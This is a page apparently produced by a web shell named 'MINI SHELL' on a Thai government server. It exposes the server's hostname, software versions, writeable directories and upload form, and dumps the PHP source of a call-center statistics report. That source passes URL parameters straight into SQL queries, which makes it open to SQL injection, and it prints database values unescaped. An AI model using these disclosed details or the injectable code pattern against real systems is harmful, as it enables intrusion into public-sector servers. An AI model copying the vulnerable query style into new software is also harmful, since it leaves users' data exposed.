MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/report/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/report/report_graph_a5.php
<?
#			session_start();
//			error_reporting(0);
include ("../../../config/conndb_obec.inc.php")  ;
include ("graph.inc.php")  ;
include ("./function.php")  ;

if ( $_GET['date_start'] != "" ){
    $date_start = $_GET['date_start'];
    $date_to = $_GET['date_to'];
    $sql_date_start = convert_date($date_start, false);
    $sql_date_to = convert_date($date_to, false);
} else {
    $sql = "SELECT `date_rec`  FROM `callcenter` WHERE `date_rec`!='0000-00-00 00:00:00' ORDER BY `date_rec` ASC LIMIT 0,1";
    $res = mysql_query($sql);
    $obj = mysql_fetch_object($res);
    $sql_date_start = split_datetime($obj->date_rec);
    $sql_date_to = date("Y-m-d");
    $date_start = set_date(convert_date($sql_date_start,true),"/");
    $date_to = set_date(convert_date($sql_date_to,true),"/");
    
}

$type_id = $_GET['s'];

# หาชื่อหมวด
$sql = "
SELECT
problem_type.typename
FROM
problem_type
WHERE
problem_type.id =  '%s'
LIMIT 1
";
$sql =  sprintf($sql, $type_id);
$res = mysql_query($sql);
$o = mysql_fetch_object($res);

$subject = $o->typename;

if ( $type_id == "other" ) $subject = "รวมรายการอื่นๆ";
if ( $type_id == "all" ) $subject = "รวมทุกรายการ";

# หาค่ารายการตามหมวดปัญหาโดยเรียงลำดับจากมากไปน้อย
$sql = "
SELECT
problem_type.id,
problem_type.typename,
Count(callcenter_ptype.ticketid)
FROM
callcenter
Left Join callcenter_ptype ON callcenter.ticket_id = callcenter_ptype.ticketid
Left Join problem_type ON callcenter_ptype.typeid = problem_type.id
WHERE
callcenter.chk_confirm =  '1' AND
problem_type.typename <>  'Null' AND 
callcenter.date_rec BETWEEN '$sql_date_start' AND '$sql_date_to' 
GROUP BY
callcenter_ptype.typeid,
problem_type.id,
problem_type.typename 
ORDER BY Count(callcenter_ptype.ticketid) DESC
";

$res = mysql_query($sql);
$num=0;
while($o = mysql_fetch_array($res)){
    $arr_other[count($arr_other)+1] = $o['id'];
};

# สร้าง sql สำหรับหาค่าหมวดอื่นๆ ที่ไม่ใช่ 5 ลำดับแรก
$sql_t = "";
for($i=1;$i<=count($arr_other);$i++){
    if($i>5){
        $sql_t .= "callcenter_ptype.typeid='".$arr_other[$i]."'";
        if($i != count($arr_other)) $sql_t .= " OR ";
    }

}

$sql_t = "".$sql_t." AND ";
?>
<HTML>
<HEAD>
<TITLE>จำนวนปัญหาที่รับแจ้งจำแนกตาม ส.พ.ท. หมวดปัญหา <?=$subject;?></TITLE>
<META content="text/html; charset=windows-874" http-equiv=Content-Type>
<LINK href="../style.css" rel=stylesheet type="text/css">
<script src="../../../common/javaopenwin.js" type="text/javascript" language="javascript"> </script>
<script src="../js/daily_popcalendar.js" type="text/javascript" language="javascript"> </script>
<head>
<BODY>
<form name="form1" method="post" action="">
<table width="100%" border="0" cellspacing="0" cellpadding="2">
  <tr>
    <td class="fill_bg_add_new2" style="padding-top:15px">
        <table width="100%" border=0>
          <tr valign=top> 
            <td width="5%" valign="middle" class="report_graph_header"><a href="report_graph_b2.php"><img src="../../../images_sys/back.jpg" alt="สถิติปัญหาจำแนกรายหน่วยงาน" width="20" height="20" border="0" ></a></td>
            <td width="95%" valign="middle" class="report_graph_header">จำนวนปัญหาที่รับแจ้งจำแนกตาม 
              ส.พ.ท.<br>
              หมวดปัญหา
            <?=$subject;?></td>
          </tr>
          <tr valign=top> 
            <td colspan="2" align="center"> 
              <table width="100%" border="0" cellspacing="1" cellpadding="2" bgcolor="#aaaaaa">
                <tr align="center" bgcolor="#CCCCCC"> 
                  <td width="8%"><b>ลำดับที่</b></td>
                  <td><b>ส.พ.ท.</b></td>
                  <td width="4%"><b>ม.ค.</b></td>
                  <td width="4%"><b>ก.พ.</b></td>
                  <td width="4%"><b>มี.ค.</b></td>
                  <td width="5%"><b>เม.ย.</b></td>
                  <td width="4%"><b>พ.ค.</b></td>
                  <td width="4%"><b>มิ.ย.</b></td>
                  <td width="4%"><b>ก.ค.</b></td>
                  <td width="4%"><b>ส.ค.</b></td>
                  <td width="4%"><b>ก.ย.</b></td>
                  <td width="4%"><b>ต.ค.</b></td>
                  <td width="4%"><b>พ.ย.</b></td>
                  <td width="4%"><b>ธ.ค.</b></td>
                </tr>
<?php
# get data
$sql = "
SELECT
Count(callcenter.ticket_id) AS count_ticket,
callcenter.prov_id,
substring(callcenter.date_create,6,2) AS mm,
eduarea.secname,
callcenter_ptype.pcomment,
callcenter_ptype.typeid
FROM
callcenter
Left Join eduarea ON callcenter.prov_id = eduarea.secid
Inner Join callcenter_ptype ON callcenter.ticket_id = callcenter_ptype.ticketid
where 
%s 
callcenter.date_rec BETWEEN '$sql_date_start' AND '$sql_date_to' 
GROUP BY
callcenter.prov_id,
callcenter_ptype.typeid,
mm

";

if($type_id == "other"){
    $sql = sprintf($sql, $sql_t);
} else if ($type_id=="all"){
    $sql = sprintf($sql, "");
} else {
    $sql = sprintf($sql, "callcenter_ptype.typeid='".$type_id."' AND");    
}
$res = mysql_query($sql);
unset($arr);
$arr = array();
while($a=mysql_fetch_array($res)){
    $arr[$a['prov_id']]['prov_id'] = $a['prov_id'];
    $arr[$a['prov_id']]['secname'] = $a['secname'];
    $arr[$a['prov_id']]['pcomment'] = $a['pcomment'];
    $arr[$a['prov_id']]['typeid'] = $a['typeid'];
    $arr[$a['prov_id']][$a['mm']] = $a['count_ticket'];
} # end while

#show_array($arr);

if ( count($arr) != 0 ) {
    foreach($arr as $b){
        $bg_color = ($num%2)?'#F1F1F1':'FFFFFF';$num++;
        for($i=1;$i<=12;$i++){
            $var = "m".$i;
            $$var = $b[sprintf("%02d",$i)];
        }
?>
                <tr bgcolor="<?=$bg_color;?>"> 
                  <td align="center"><?=$num;?>.</td>
                  <td><?=$b['secname'];?></td>
                  <td align="center"><?=$m1;?></td>
                  <td align="center"><?=$m2;?></td>
                  <td align="center"><?=$m3;?></td>
                  <td align="center"><?=$m4;?></td>
                  <td align="center"><?=$m5;?></td>
                  <td align="center"><?=$m6;?></td>
                  <td align="center"><?=$m7;?></td>
                  <td align="center"><?=$m8;?></td>
                  <td align="center"><?=$m9;?></td>
                  <td align="center"><?=$m10;?></td>
                  <td align="center"><?=$m11;?></td>
                  <td align="center"><?=$m12;?></td>
                </tr>
<?php
        for($i=1;$i<=12;$i++){
            $var = 'total_m'.$i;
            $var_m = 'm'.$i;
            $$var += $$var_m;
        }
    } # foreach
} # ( count($arr) != 0 )

?>

                <tr bgcolor="#CACACA"> 
                  <td>&nbsp;</td>
                  <td>รวม</td>
                  <td align="center"><?=$total_m1;?></td>
                  <td align="center"><?=$total_m2;?></td>
                  <td align="center"><?=$total_m3;?></td>
                  <td align="center"><?=$total_m4;?></td>
                  <td align="center"><?=$total_m5;?></td>
                  <td align="center"><?=$total_m6;?></td>
                  <td align="center"><?=$total_m7;?></td>
                  <td align="center"><?=$total_m8;?></td>
                  <td align="center"><?=$total_m9;?></td>
                  <td align="center"><?=$total_m10;?></td>
                  <td align="center"><?=$total_m11;?></td>
                  <td align="center"><?=$total_m12;?></td>
                </tr>
              </table>            </td>
          </tr>
        </table>
      </td>
  </tr>
</table>
<BR>
</form>
</BODY>
</HTML>

Anon7 - 2021